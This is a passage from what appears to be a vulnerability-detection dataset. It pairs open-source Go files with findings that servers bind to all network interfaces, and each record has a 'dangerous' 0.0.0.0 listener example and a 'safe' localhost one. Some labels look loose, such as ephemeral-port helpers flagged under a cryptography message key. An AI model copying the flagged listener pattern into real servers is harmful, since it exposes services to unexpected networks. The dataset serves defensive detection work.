{\n\t\t\t// handle error\n\t\t}\n\t\tfor {\n\t\t\tconn, err := ln.Accept()\n\t\t\tif err != nil {\n\t\t\t\t// handle error\n\t\t\t}\n\t\t\tdefer conn.Close()\n\t\t\tbr := bufio.NewReader(conn)\n\t\t\ts, err := br.ReadString('\\n')\n\t\t\tif err != nil {\n\t\t\t\tt.Error(err)\n\t\t\t}\n\t\t\tresponse <- s\n\t\t}\n\t}()\n\n\t// Create a client and send a single metric through\n\tw := NewMetricWriter(\"localhost:4711\", \"prom\", map[string]string{\"foo\": \"bar\", \"bar\": \"foo\"})\n\tts := prompb.TimeSeries{\n\t\tLabels: []prompb.Label{\n\t\t\tprompb.Label{\n\t\t\t\tName: \"__name__\",\n\t\t\t\tValue: \"cpu_utilization_percent\",\n\t\t\t},\n\t\t\tprompb.Label{\n\t\t\t\tName: \"instance\",\n\t\t\t\tValue: \"localhost\",\n\t\t\t},\n\t\t\tprompb.Label{\n\t\t\t\tName: \"cpu\",\n\t\t\t\tValue: \"1\",\n\t\t\t},\n\t\t},\n\t\tSamples: []prompb.Sample{\n\t\t\tprompb.Sample{\n\t\t\t\tValue: 50,\n\t\t\t\tTimestamp: 1086062400,\n\t\t\t},\n\t\t},\n\t}\n\treq := prompb.WriteRequest{\n\t\tTimeseries: []prompb.TimeSeries{ts},\n\t}\n\tw.Write(req)\n\n\t// Wait for reply\n\tselect {\n\tcase <-time.After(10 * time.Second):\n\t\tt.Error(\"Times out waiting for metrics\")\n\tcase s := <-response:\n\t\tif s != \"prom.cpu.utilization.percent 50.000000 1086062400 source=\\\"localhost\\\" bar=\\\"foo\\\" cpu=\\\"1\\\" foo=\\\"bar\\\"\\n\" {\n\t\t\tt.Errorf(\"Received from sender: %s\", s)\n\t\t}\n\t}\n}", "dangerousExampleEn": "1. ln, err := net.Listen(\"tcp\", \"0.0.0.0:8080\")\nLine 1: This is insecure because all connection requests from all network interfaces are received.", "safeExampleEn": "1. ln, err := net.Listen(\"tcp\", \"localhost:8080\")\nLine 1: This is secure because only connection requests from a specific IP are received.", "contexts": [{"lineNo": 70, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_NETWORK.GO.defect", "params": {}}]}} {"id": "35e738e723e2387d81cdf10a2afff4452ccdc067d3575a84f614be86caec33b9", "license": {"spdx": ["Apache-2.0"], "repo": "DiegoStock12/kubeml", "path": "ml/pkg/util/utils.go", "repo_head_hexsha": "9f00eee8249d12b7edcd4e11644b8843f42d67d8", "stack_hexsha": "e8e1e4e1a39e5c28215f23b616cbdaf5e4306e7e", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Network Settings", "issueDescriptionEn": "Using `0.0.0.0` as the IP address means receiving all connection requests from all network interfaces in the system. In general, it is recommended that servers only accept connections from specific network interfaces. If not, servers may accept a connection request from an unexpected network interface, allowing a hacker to attempt an attack.\nWhen configuring a server, ensure to specify a specific IP address rather than `0.0.0.0` to determine which connections are accepted by each network interface.", "issueLineNumber": 11, "entireCode": "package util\n\nimport (\n\t\"net\"\n\t\"os\"\n\t\"strconv\"\n)\n\n// Finds a free port in the current machine/container\nfunc FindFreePort() (int, error) {\n\tlistener, err := net.Listen(\"tcp\", \":0\")\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tport := listener.Addr().(*net.TCPAddr).Port\n\n\terr = listener.Close()\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\treturn port, nil\n}\n\nfunc IsDebugEnv() bool {\n\td := os.Getenv(\"DEBUG_ENV\")\n\tif len(d) == 0 {\n\t\treturn false\n\t}\n\n\tdebug, err := strconv.ParseBool(d)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn debug\n}\n\nfunc LimitParallelism() bool {\n\td := os.Getenv(\"LIMIT_PARALLELISM\")\n\tif len(d) == 0 {\n\t\treturn false\n\t}\n\n\tdebug, err := strconv.ParseBool(d)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn debug\n}", "dangerousExampleEn": "1. ln, err := net.Listen(\"tcp\", \"0.0.0.0:8080\")\nLine 1: This is insecure because all connection requests from all network interfaces are received.", "safeExampleEn": "1. ln, err := net.Listen(\"tcp\", \"localhost:8080\")\nLine 1: This is secure because only connection requests from a specific IP are received.", "contexts": [{"lineNo": 11, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_NETWORK.GO.defect", "params": {}}]}} {"id": "6bbc22bcb04c634a39242ee9a5ddb8302e9f1ecbda371d2bf8c1f9f0ef83c59c", "license": {"spdx": ["AFL-3.0"], "repo": "phques/mppq", "path": "misctests/jsonrpc/src/testServer/jsonRpcServer.go", "repo_head_hexsha": "94f8eb355616e6d83922e30f175c2d92c5d220a1", "stack_hexsha": "16308756c0b7f5cca5159560d44545065d8d6738", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Network Settings", "issueDescriptionEn": "Using `0.0.0.0` as the IP address means receiving all connection requests from all network interfaces in the system. In general, it is recommended that servers only accept connections from specific network interfaces. If not, servers may accept a connection request from an unexpected network interface, allowing a hacker to attempt an attack.\nWhen configuring a server, ensure to specify a specific IP address rather than `0.0.0.0` to determine which connections are accepted by each network interface.", "issueLineNumber": 18, "entireCode": "package main\n\nimport (\n\t\"arith\"\n\t\"fmt\"\n\t\"log\"\n\t\"net\"\n\t\"net/rpc\"\n\t\"net/rpc/jsonrpc\"\n)\n\nfunc startJSONServerOrig() {\n\tarith := new(arith.Arith)\n\n\tserver := rpc.NewServer()\n\tserver.Register(arith)\n\n\tl, e := net.Listen(\"tcp\", \":8222\")\n\tif e != nil {\n\t\tlog.Fatal(\"listen error:\", e)\n\t}\n\tdefer l.Close()\n\n\tfor {\n\t\tconn, err := l.Accept()\n\t\tif err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\n\t\tserver.ServeCodec(jsonrpc.NewServerCodec(conn))\n\t}\n}\n\n// simpler version\nfunc startJSONServer() {\n\n\tarithServer := new(arith.Arith)\n\trpc.Register(arithServer)\n\n\tl, e := net.Listen(\"tcp\", \":8222\")\n\tif e != nil {\n\t\tlog.Fatal(\"listen error:\", e)\n\t}\n\tdefer l.Close()\n\n\tfor {\n\t\tconn, err := l.Accept()\n\t\tif err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\n\t\tfmt.Printf(\"processing jsonrpc connection: %v\\n\", conn.RemoteAddr().String())\n\t\tjsonrpc.ServeConn(conn)\n\t\tfmt.Printf(\"arithServer.lastCall %s\\n\", arithServer.LastCall)\n\t}\n}\n\nfunc listenUDP() {\n\t// --- listen for udp msg ---\n\tudpConn, err := net.ListenUDP(\"udp4\", &net.UDPAddr{\n\t\tIP: net.IPv4(0, 0, 0, 0),\n\t\tPort: 4444,\n\t})\n\tif err != nil {\n\t\tlog.Fatal(\"error open udp socket \", err)\n\t}\n\tdefer udpConn.Close()\n\n\t// wait for msg\n\tdata := make([]byte, 1024*2)\n\tfor {\n\t\tfmt.Println(\"wait for UDP msg\")\n\t\tnbRead, remoteAddr, err := udpConn.ReadFromUDP(data)\n\t\tif err != nil {\n\t\t\tlog.Fatal(\"error reading udp socket \", err)\n\t\t}\n\t\tudpData := data[:nbRead]\n\n\t\tfmt.Printf(\"read %d bytes '%s' from udp (remote %s)\\n\", nbRead, udpData, remoteAddr.String())\n\t\tif string(udpData) == \"quit\" {\n\t\t\tbreak\n\t\t}\n\n\t\t// did we get a mppq.whosthere for androidpush or * ?\n\n\t\t//fmt.Println(\"wait a sec...\")\n\t\t//time.Sleep(1 * time.Second)\n\t}\n}\n\nfunc main() {\n\tgo startJSONServer()\n\n\tlistenUDP()\n}", "dangerousExampleEn": "1. ln, err := net.Listen(\"tcp\", \"0.0.0.0:8080\")\nLine 1: This is insecure because all connection requests from all network interfaces are received.", "safeExampleEn": "1. ln, err := net.Listen(\"tcp\", \"localhost:8080\")\nLine 1: This is secure because only connection requests from a specific IP are received.", "contexts": [{"lineNo": 18, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_NETWORK.GO.defect", "params": {}}]}} {"id": "940e5aa1bf09ed21be9df6f4bcd9eb618e32742a2a1f3069ec3f67d8fa5a09fb", "license": {"spdx": ["Apache-2.0"], "repo": "sayaoailun/cri-tools", "path": "pkg/validate/security_context_linux.go", "repo_head_hexsha": "3e01b9f2b1c4e43aab02d51b3cdeb0650c7daf2c", "stack_hexsha": "1bb85ba5af0f39a435e5afe476f9f483af1a42d1", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Network Settings", "issueDescriptionEn": "Using `0.0.0.0` as the IP address means receiving all connection requests from all network interfaces in the system. In general, it is recommended that servers only accept connections from specific network interfaces. If not, servers may accept a connection request from an unexpected network interface, allowing a hacker to attempt an attack.\nWhen configuring a server, ensure to specify a specific IP address rather than `0.0.0.0` to determine which connections are accepted by each network interface.", "issueLineNumber": 245, "entireCode": "/*\nCopyright 2017 The Kubernetes Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage validate\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/kubernetes-sigs/cri-tools/pkg/framework\"\n\t\"github.com/pkg/errors\"\n\tinternalapi \"k8s.io/cri-api/pkg/apis\"\n\truntimeapi \"k8s.io/cri-api/pkg/apis/runtime/v1\"\n\n\t. \"github.com/onsi/ginkgo\"\n\t. \"github.com/onsi/gomega\"\n)\n\nconst (\n\tnginxContainerImage string = \"nginx:1.18\"\n\tlocalhost string = \"localhost/\"\n\tnoNewPrivsImage string = \"k8s.gcr.io/e2e-test-images/nonewprivs:1.3\"\n)\n\nvar _ = framework.KubeDescribe(\"Security Context\", func() {\n\tf := framework.NewDefaultCRIFramework()\n\n\tvar rc internalapi.RuntimeService\n\tvar ic internalapi.ImageManagerService\n\tvar podID, podLogDir string\n\tvar dirToCleanup []string\n\tvar podConfig *runtimeapi.PodSandboxConfig\n\n\tBeforeEach(func() {\n\t\trc = f.CRIClient.CRIRuntimeClient\n\t\tic = f.CRIClient.CRIImageClient\n\t})\n\n\tAfterEach(func() {\n\t\tif podID != \"\" {\n\t\t\tBy(\"stop PodSandbox\")\n\t\t\trc.StopPodSandbox(podID)\n\t\t\tBy(\"delete PodSandbox\")\n\t\t\trc.RemovePodSandbox(podID)\n\t\t}\n\t\tif podLogDir != \"\" {\n\t\t\tos.RemoveAll(podLogDir)\n\t\t}\n\t\tfor _, dir := range dirToCleanup {\n\t\t\tos.RemoveAll(dir)\n\t\t}\n\t})\n\n\tContext(\"NamespaceOption\", func() {\n\t\tpodSandboxName := \"NamespaceOption-PodSandbox-\" + framework.NewUUID()\n\n\t\tIt(\"runtime should support HostPID\", func() {\n\t\t\tBy(\"create podSandbox for security context HostPID\")\n\t\t\tnamespaceOption := &runtimeapi.NamespaceOption{\n\t\t\t\tPid: runtimeapi.NamespaceMode_NODE,\n\t\t\t\tIpc: runtimeapi.NamespaceMode_POD,\n\t\t\t\tNetwork: runtimeapi.NamespaceMode_POD,\n\t\t\t}\n\t\t\tpodID, podConfig = createNamespacePodSandbox(rc, namespaceOption, podSandboxName, \"\")\n\n\t\t\tBy(\"create nginx container\")\n\t\t\tprefix := \"nginx-container-\"\n\t\t\tcontainerName := prefix + framework.NewUUID()\n\t\t\tcontainerID, nginxContainerName, _ := createNamespaceContainer(rc, ic, podID, podConfig, containerName, nginxContainerImage, namespaceOption, nil, \"\")\n\n\t\t\tBy(\"start container\")\n\t\t\tstartContainer(rc, containerID)\n\t\t\tEventually(func() runtimeapi.ContainerState {\n\t\t\t\treturn getContainerStatus(rc, containerID).State\n\t\t\t}, time.Minute, time.Second*4).Should(Equal(runtimeapi.ContainerState_CONTAINER_RUNNING))\n\n\t\t\tBy(\"get nginx container pid\")\n\t\t\tcommand := []string{\"sh\", \"-c\", \"while [ ! -f /var/run/nginx.pid ]; do sleep 1; done\", \"&&\", \"cat\", \"/var/run/nginx.pid\"}\n\t\t\toutput := execSyncContainer(rc, containerID, command)\n\t\t\tnginxPid := strings.TrimSpace(string(output))\n\t\t\tframework.Logf(\"Nginx's pid is %q\", nginxPid)\n\n\t\t\tBy(\"create busybox container with hostPID\")\n\t\t\tcommand = []string{\"sh\", \"-c\", \"sleep 1000\"}\n\t\t\tprefix = \"container-with-HostPID-test-\"\n\t\t\tcontainerName = prefix + framework.NewUUID()\n\t\t\tcontainerID, _, _ = createNamespaceContainer(rc, ic, podID, podConfig, containerName, framework.TestContext.TestImageList.DefaultTestContainerImage, namespaceOption, command, \"\")\n\n\t\t\tBy(\"start container\")\n\t\t\tstartContainer(rc, containerID)\n\t\t\tEventually(func() runtimeapi.ContainerState {\n\t\t\t\treturn getContainerStatus(rc, containerID).State\n\t\t\t}, time.Minute, time.Second*4).Should(Equal(runtimeapi.ContainerState_CONTAINER_RUNNING))\n\n\t\t\tBy(\"should show its pid in the hostPID namespace container\")\n\t\t\tcmd := []string{\"pidof\", \"nginx\", \"||\", \"true\"}\n\t\t\toutput = execSyncContainer(rc, containerID, cmd)\n\t\t\tpids := strings.TrimSpace(string(output))\n\t\t\tframework.Logf(\"Got nginx's pid %q from pod %q\", pids, nginxContainerName)\n\n\t\t\tif pids == \"\" {\n\t\t\t\tframework.Failf(\"nginx's pid should be seen by hostpid containers\")\n\t\t\t}\n\n\t\t\tif !strings.Contains(pids, nginxPid) {\n\t\t\t\tframework.Failf(\"nginx's pid should be seen by hostpid containers\")\n\t\t\t}\n\n\t\t})\n\n\t\tIt(\"runtime should support HostIpc is true\", func() {\n\t\t\tBy(\"create shared memory segment on the host\")\n\t\t\tout, err := exec.Command(\"ipcmk\", \"-M\", \"1048576\").Output()\n\t\t\tframework.ExpectNoError(err, \"failed to execute ipcmk -M 1048576\")\n\t\t\trawID := strings.TrimSpace(string(out))\n\t\t\tsegmentID := strings.TrimPrefix(rawID, \"Shared memory id: \")\n\n\t\t\tBy(\"create podSandbox for security context HostIPC is true\")\n\t\t\tnamespaceOption := &runtimeapi.NamespaceOption{\n\t\t\t\tPid: runtimeapi.NamespaceMode_POD,\n\t\t\t\tIpc: runtimeapi.NamespaceMode_NODE,\n\t\t\t\tNetwork: runtimeapi.NamespaceMode_POD,\n\t\t\t}\n\t\t\tpodID, podConfig = createNamespacePodSandbox(rc, namespaceOption, podSandboxName, \"\")\n\n\t\t\tBy(\"create a default container with namespace\")\n\t\t\tprefix := \"namespace-container-\"\n\t\t\tcontainerName := prefix + framework.NewUUID()\n\t\t\tcontainerID, _, _ := createNamespaceContainer(rc, ic, podID, podConfig, containerName, framework.TestContext.TestImageList.DefaultTestContainerImage, namespaceOption, pauseCmd, \"\")\n\n\t\t\tBy(\"start container\")\n\t\t\tstartContainer(rc, containerID)\n\t\t\tEventually(func() runtimeapi.ContainerState {\n\t\t\t\treturn getContainerStatus(rc, containerID).State\n\t\t\t}, time.Minute, time.Second*4).Should(Equal(runtimeapi.ContainerState_CONTAINER_RUNNING))\n\n\t\t\tBy(\"check if the shared memory segment is included in the container\")\n\t\t\tcommand := []string{\"ipcs\", \"-m\"}\n\t\t\to := execSyncContainer(rc, containerID, command)\n\t\t\tExpect(o).To(ContainSubstring(segmentID), \"The shared memory segment should be included in the container\")\n\t\t})\n\n\t\tIt(\"runtime should support HostIpc is false\", func() {\n\t\t\tBy(\"create shared memory segment on the host\")\n\t\t\tout, err := exec.Command(\"ipcmk\", \"-M\", \"1048576\").Output()\n\t\t\tframework.ExpectNoError(err, \"failed to execute ipcmk -M 1048576\")\n\t\t\trawID := strings.TrimSpace(string(out))\n\t\t\tsegmentID := strings.TrimPrefix(rawID, \"Shared memory id: \")\n\n\t\t\tBy(\"create podSandbox for security context HostIpc is false\")\n\t\t\tnamespaceOption := &runtimeapi.NamespaceOption{\n\t\t\t\tPid: runtimeapi.NamespaceMode_POD,\n\t\t\t\tIpc: runtimeapi.NamespaceMode_POD,\n\t\t\t\tNetwork: runtimeapi.NamespaceMode_POD,\n\t\t\t}\n\t\t\tpodID, podConfig = createNamespacePodSandbox(rc, namespaceOption, podSandboxName, \"\")\n\n\t\t\tBy(\"create a default container with namespace\")\n\t\t\tprefix := \"namespace-container-\"\n\t\t\tcontainerName := prefix + framework.NewUUID()\n\t\t\tcontainerID, _, _ := createNamespaceContainer(rc, ic, podID, podConfig, containerName, framework.TestContext.TestImageList.DefaultTestContainerImage, namespaceOption, pauseCmd, \"\")\n\n\t\t\tBy(\"start container\")\n\t\t\tstartContainer(rc, containerID)\n\t\t\tEventually(func() runtimeapi.ContainerState {\n\t\t\t\treturn getContainerStatus(rc, containerID).State\n\t\t\t}, time.Minute, time.Second*4).Should(Equal(runtimeapi.ContainerState_CONTAINER_RUNNING))\n\n\t\t\tBy(\"check if the shared memory segment is not included in the container\")\n\t\t\tcommand := []string{\"ipcs\", \"-m\"}\n\t\t\to := execSyncContainer(rc, containerID, command)\n\t\t\tExpect(o).NotTo(ContainSubstring(segmentID), \"The shared memory segment should be included in the container\")\n\t\t})\n\n\t\tIt(\"runtime should support PodPID\", func() {\n\t\t\tBy(\"create podSandbox for sharing process namespace\")\n\t\t\tnamespaceOption := &runtimeapi.NamespaceOption{\n\t\t\t\tPid: runtimeapi.NamespaceMode_POD,\n\t\t\t}\n\t\t\tframework.Logf(\"Pid namespace is %q\", namespaceOption.Pid)\n\t\t\tpodID, podConfig = createNamespacePodSandbox(rc, namespaceOption, podSandboxName, \"\")\n\n\t\t\tBy(\"create nginx container\")\n\t\t\tprefix := \"nginx-container-\"\n\t\t\tcontainerName := prefix + framework.NewUUID()\n\t\t\tcontainerID, _, _ := createNamespaceContainer(rc, ic, podID, podConfig, containerName, nginxContainerImage, namespaceOption, nil, \"\")\n\n\t\t\tBy(\"start container\")\n\t\t\tstartContainer(rc, containerID)\n\t\t\tEventually(func() runtimeapi.ContainerState {\n\t\t\t\treturn getContainerStatus(rc, containerID).State\n\t\t\t}, time.Minute, time.Second*4).Should(Equal(runtimeapi.ContainerState_CONTAINER_RUNNING))\n\n\t\t\tBy(\"get nginx container pid\")\n\t\t\tcommand := []string{\"cat\", \"/proc/1/cmdline\"}\n\t\t\ttime.Sleep(time.Second) // waits for nginx to be up-and-running\n\t\t\to := execSyncContainer(rc, containerID, command)\n\t\t\tExpect(o).ToNot(ContainSubstring(\"master process\"))\n\t\t})\n\n\t\tIt(\"runtime should support ContainerPID\", func() {\n\t\t\tBy(\"create podSandbox with PID set to container\")\n\t\t\tnamespaceOption := &runtimeapi.NamespaceOption{\n\t\t\t\tPid: runtimeapi.NamespaceMode_CONTAINER,\n\t\t\t}\n\t\t\tframework.Logf(\"Pid namespace is %q\", namespaceOption.Pid)\n\t\t\tpodID, podConfig = createNamespacePodSandbox(rc, namespaceOption, podSandboxName, \"\")\n\n\t\t\tBy(\"create nginx container\")\n\t\t\tprefix := \"nginx-container-\"\n\t\t\tcontainerName := prefix + framework.NewUUID()\n\t\t\tcontainerID, _, _ := createNamespaceContainer(rc, ic, podID, podConfig, containerName, nginxContainerImage, namespaceOption, nil, \"\")\n\n\t\t\tBy(\"start container\")\n\t\t\tstartContainer(rc, containerID)\n\t\t\tEventually(func() runtimeapi.ContainerState {\n\t\t\t\treturn getContainerStatus(rc, containerID).State\n\t\t\t}, time.Minute, time.Second*4).Should(Equal(runtimeapi.ContainerState_CONTAINER_RUNNING))\n\n\t\t\tBy(\"get nginx container pid\")\n\t\t\tcommand := []string{\"sh\", \"-c\", `while ! cat /proc/1/cmdline | grep \"master process\"; do sleep 1; done`}\n\t\t\texecSyncContainer(rc, containerID, command)\n\t\t})\n\n\t\tIt(\"runtime should support HostNetwork is true\", func() {\n\t\t\tsrv, err := net.Listen(\"tcp\", \":0\")\n\t\t\tif err != nil {\n\t\t\t\tframework.Failf(\"Failed to listen a tcp port: %v\", err)\n\t\t\t}\n\t\t\tgo func() {\n\t\t\t\tdefer GinkgoRecover()\n\t\t\t\tfor {\n\t\t\t\t\tconn, err := srv.Accept()\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t\tconn.Write([]byte(\"hello\"))\n\t\t\t\t}\n\t\t\t}()\n\t\t\tdefer srv.Close()\n\n\t\t\tports := strings.Split(srv.Addr().String(), \":\")\n\t\t\tpodID, podLogDir = createAndCheckHostNetwork(rc, ic, podSandboxName, ports[len(ports)-1], true)\n\t\t})\n\n\t\tIt(\"runtime should support HostNetwork is false\", func() {\n\t\t\tsrv, err := net.Listen(\"tcp\", \":0\")\n\t\t\tif err != nil {\n\t\t\t\tframework.Failf(\"Failed to listen a tcp port: %v\", err)\n\t\t\t}\n\t\t\tgo func() {\n\t\t\t\tdefer GinkgoRecover()\n\t\t\t\tfor {\n\t\t\t\t\tconn, err := srv.Accept()\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t\tconn.Write([]byte(\"hello\"))\n\t\t\t\t}\n\t\t\t}()\n\t\t\tdefer srv.Close()\n\n\t\t\tports := strings.Split(srv.Addr().String(), \":\")\n\t\t\tpodID, podLogDir = createAndCheckHostNetwork(rc, ic, podSandboxName, ports[len(ports)-1], false)\n\t\t})\n\t})\n\n\tContext(\"bucket\", func() {\n\t\tIt(\"runtime should support SupplementalGroups\", func() {\n\t\t\tBy(\"create pod\")\n\t\t\tpodID, podConfig = framework.CreatePodSandboxForContainer(rc)\n\n\t\t\tsupplementalGroups := []int64{1234, 5678}\n\t\t\tBy(\"create container for security context SupplementalGroups\")\n\t\t\tcontainerName := \"container-with-SupplementalGroups-test-\" + framework.NewUUID()\n\t\t\tcontainerConfig := &runtimeapi.ContainerConfig{\n\t\t\t\tMetadata: framework.BuildContainerMetadata(containerName, framework.DefaultAttempt),\n\t\t\t\tImage: &runtimeapi.ImageSpec{Image: framework.TestContext.TestImageList.DefaultTestContainerImage},\n\t\t\t\tCommand: pauseCmd,\n\t\t\t\tLinux: &runtimeapi.LinuxContainerConfig{\n\t\t\t\t\tSecurityContext: &runtimeapi.LinuxContainerSecurityContext{\n\t\t\t\t\t\tSupplementalGroups: supplementalGroups,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}\n\t\t\tcontainerID := framework.CreateContainer(rc, ic, containerConfig, podID, podConfig)\n\n\t\t\tBy(\"start container\")\n\t\t\tstartContainer(rc, containerID)\n\t\t\tEventually(func() runtimeapi.ContainerState {\n\t\t\t\treturn getContainerStatus(rc, containerID).State\n\t\t\t}, time.Minute, time.Second*4).Should(Equal(runtimeapi.ContainerState_CONTAINER_RUNNING))\n\n\t\t\tBy(\"verify SupplementalGroups for container\")\n\t\t\tcommand := []string{\"id\", \"-G\"}\n\t\t\to := execSyncContainer(rc, containerID, command)\n\t\t\tgroups := strings.Split(strings.TrimSpace(o), \" \")\n\t\t\tExpect(groups).To(ContainElement(\"1234\"))\n\t\t\tExpect(groups).To(ContainElement(\"5678\"))\n\t\t})\n\n\t\tIt(\"runtime should support RunAsUser\", func() {\n\t\t\tBy(\"create pod\")\n\t\t\tpodID, podConfig = framework.CreatePodSandboxForContainer(rc)\n\n\t\t\tBy(\"create container for security context RunAsUser\")\n\t\t\tcontainerID, expectedLogMessage := createRunAsUserContainer(rc, ic, podID, podConfig, \"container-with-RunAsUser-test-\")\n\n\t\t\tBy(\"start container\")\n\t\t\tstartContainer(rc, containerID)\n\t\t\tEventually(func() runtimeapi.ContainerState {\n\t\t\t\treturn getContainerStatus(rc, containerID).State\n\t\t\t}, time.Minute, time.Second*4).Should(Equal(runtimeapi.ContainerState_CONTAINER_RUNNING))\n\n\t\t\tBy(\"verify RunAsUser for container\")\n\t\t\tcommand := []string{\"id\", \"-u\"}\n\t\t\tverifyExecSyncOutput(rc, containerID, command, expectedLogMessage)\n\t\t})\n\n\t\tIt(\"runtime should support RunAsUserName\", func() {\n\t\t\tBy(\"create pod\")\n\t\t\tpodID, podConfig = framework.CreatePodSandboxForContainer(rc)\n\n\t\t\tBy(\"create container for security context RunAsUser\")\n\t\t\tcontainerID, expectedLogMessage := createRunAsUserNameContainer(rc, ic, podID, podConfig, \"container-with-RunAsUserName-test-\")\n\n\t\t\tBy(\"start container\")\n\t\t\tstartContainer(rc, containerID)\n\t\t\tEventually(func() runtimeapi.ContainerState {\n\t\t\t\treturn getContainerStatus(rc, containerID).State\n\t\t\t}, time.Minute, time.Second*4).Should(Equal(runtimeapi.ContainerState_CONTAINER_RUNNING))\n\n\t\t\tBy(\"verify RunAsUserName for container\")\n\t\t\tcommand := []string{\"id\", \"-nu\"}\n\t\t\tverifyExecSyncOutput(rc, containerID, command, expectedLogMessage)\n\t\t})\n\n\t\tIt(\"runtime should support RunAsGroup\", func() {\n\t\t\tBy(\"create pod\")\n\t\t\tpodID, podConfig, podLogDir = createPodSandboxWithLogDirectory(rc)\n\n\t\t\tBy(\"create container for security context RunAsGroup\")\n\t\t\tcontainerName := \"container-with-RunAsGroup-test-\" + framework.NewUUID()\n\t\t\tcontainerID, expectedLogMessage := createRunAsGroupContainer(rc, ic, podID, podConfig, containerName)\n\n\t\t\tBy(\"start container\")\n\t\t\tstartContainer(rc, containerID)\n\t\t\tEventually(func() runtimeapi.ContainerState {\n\t\t\t\treturn getContainerStatus(rc, containerID).State\n\t\t\t}, time.Minute, time.Second*4).Should(Equal(runtimeapi.ContainerState_CONTAINER_EXITED))\n\n\t\t\tBy(\"verify RunAsGroup for container\")\n\t\t\tmatchContainerOutput(podConfig, containerName, expectedLogMessage)\n\t\t})\n\n\t\tIt(\"runtime should return error if RunAsGroup is set without RunAsUser\", func() {\n\t\t\tBy(\"create pod\")\n\t\t\tpodID, podConfig = framework.CreatePodSandboxForContainer(rc)\n\n\t\t\tBy(\"create container with invalid RunAsGroup\")\n\t\t\tcontainerName := \"container-with-RunAsGroup-without-RunAsUser-test-\" + framework.NewUUID()\n\t\t\tcreateInvalidRunAsGroupContainer(rc, ic, podID, podConfig, containerName)\n\t\t})\n\n\t\tIt(\"runtime should support that ReadOnlyRootfs is false\", func() {\n\t\t\tBy(\"create pod with log\")\n\t\t\tpodID, podConfig, podLogDir = createPodSandboxWithLogDirectory(rc)\n\n\t\t\tBy(\"create container with ReadOnlyRootfs_false\")\n\t\t\treadOnlyRootfs := false\n\t\t\tlogPath, containerID := createReadOnlyRootfsContainer(rc, ic, podID, podConfig, \"container-with-ReadOnlyRootfs-false-test-\", readOnlyRootfs)\n\n\t\t\tBy(\"start container\")\n\t\t\tstartContainer(rc, containerID)\n\t\t\tEventually(func() runtimeapi.ContainerState {\n\t\t\t\treturn getContainerStatus(rc, containerID).State\n\t\t\t}, time.Minute, time.Second*4).Should(Equal(runtimeapi.ContainerState_CONTAINER_EXITED))\n\n\t\t\tBy(\"Check whether rootfs is writable\")\n\t\t\tcheckRootfs(podConfig, logPath, readOnlyRootfs)\n\t\t})\n\n\t\tIt(\"runtime should support that ReadOnlyRootfs is true\", func() {\n\t\t\tBy(\"create pod with log\")\n\t\t\tpodID, podConfig, podLogDir = createPodSandboxWithLogDirectory(rc)\n\n\t\t\tBy(\"create container with ReadOnlyRootfs_true\")\n\t\t\treadOnlyRootfs := true\n\t\t\tlogPath, containerID := createReadOnlyRootfsContainer(rc, ic, podID, podConfig, \"container-with-ReadOnlyRootfs-true-test-\", readOnlyRootfs)\n\n\t\t\tBy(\"start container\")\n\t\t\tstartContainer(rc, containerID)\n\t\t\tEventually(func() runtimeapi.ContainerState {\n\t\t\t\treturn getContainerStatus(rc, containerID).State\n\t\t\t}, time.Minute, time.Second*4).Should(Equal(runtimeapi.ContainerState_CONTAINER_EXITED))\n\n\t\t\tBy(\"Check whether rootfs is read-only\")\n\t\t\tcheckRootfs(podConfig, logPath, readOnlyRootfs)\n\t\t})\n\n\t\tIt(\"runtime should support Privileged is true\", func() {\n\t\t\tBy(\"create pod\")\n\t\t\tisPrivileged := true\n\t\t\tpodID, podConfig = createPrivilegedPodSandbox(rc, isPrivileged)\n\n\t\t\tBy(\"create container for security context Privileged is true\")\n\t\t\tcontainerID := createPrivilegedContainer(rc, ic, podID, podConfig, \"container-with-isPrivileged-test-\", isPrivileged)\n\n\t\t\tBy(\"start container\")\n\t\t\tstartContainer(rc, containerID)\n\t\t\tEventually(func() runtimeapi.ContainerState {\n\t\t\t\treturn getContainerStatus(rc, containerID).State\n\t\t\t}, time.Minute, time.Second*4).Should(Equal(runtimeapi.ContainerState_CONTAINER_RUNNING))\n\n\t\t\tBy(\"check the Privileged container\")\n\t\t\tcheckNetworkManagement(rc, containerID, isPrivileged)\n\t\t})\n\n\t\tIt(\"runtime should support Privileged is false\", func() {\n\t\t\tBy(\"create pod\")\n\t\t\tnotPrivileged := false\n\t\t\tpodID, podConfig = createPrivilegedPodSandbox(rc, notPrivileged)\n\n\t\t\tBy(\"create container for security context Privileged is true\")\n\t\t\tcontainerID := createPrivilegedContainer(rc, ic, podID, podConfig, \"container-with-notPrivileged-test-\", notPrivileged)\n\n\t\t\tBy(\"start container\")\n\t\t\tstartContainer(rc, containerID)\n\t\t\tEventually(func() runtimeapi.ContainerState {\n\t\t\t\treturn getContainerStatus(rc, containerID).State\n\t\t\t}, time.Minute, 